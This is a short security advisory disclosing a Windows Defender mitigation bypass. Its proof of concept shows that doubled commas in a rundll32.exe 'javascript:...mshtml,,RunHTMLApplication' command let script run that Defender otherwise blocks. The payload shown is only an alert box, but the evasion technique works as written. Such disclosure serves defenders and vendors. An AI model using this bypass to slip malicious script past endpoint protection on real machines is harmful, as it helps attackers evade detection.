[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows Defender

[Vulnerability Type]
Windows Defender Detection Mitigation Bypass
TrojanWin32Powessere.G

[CVE Reference]
N/A

[Security Issue]
Trojan.Win32/Powessere.G / Mitigation Bypass Part 2.

Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will typically get an "Access is denied" error message.

Back in 2022, I disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.
However, I discovered using multi-commas "," will bypass that mitigation and successfully execute as of the time of this writing.

[References]
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt

[Exploit/POC]
Open command prompt as Administrator.

```
C:\sec>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(666)
Access is denied.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(666)
```

Multi-commas, for the Win!

[Network Access]
Local

[Severity]
High

[Disclosure Timeline]
February 7, 2024: Public Disclosure

[+] Disclaimer

hyp3rlinx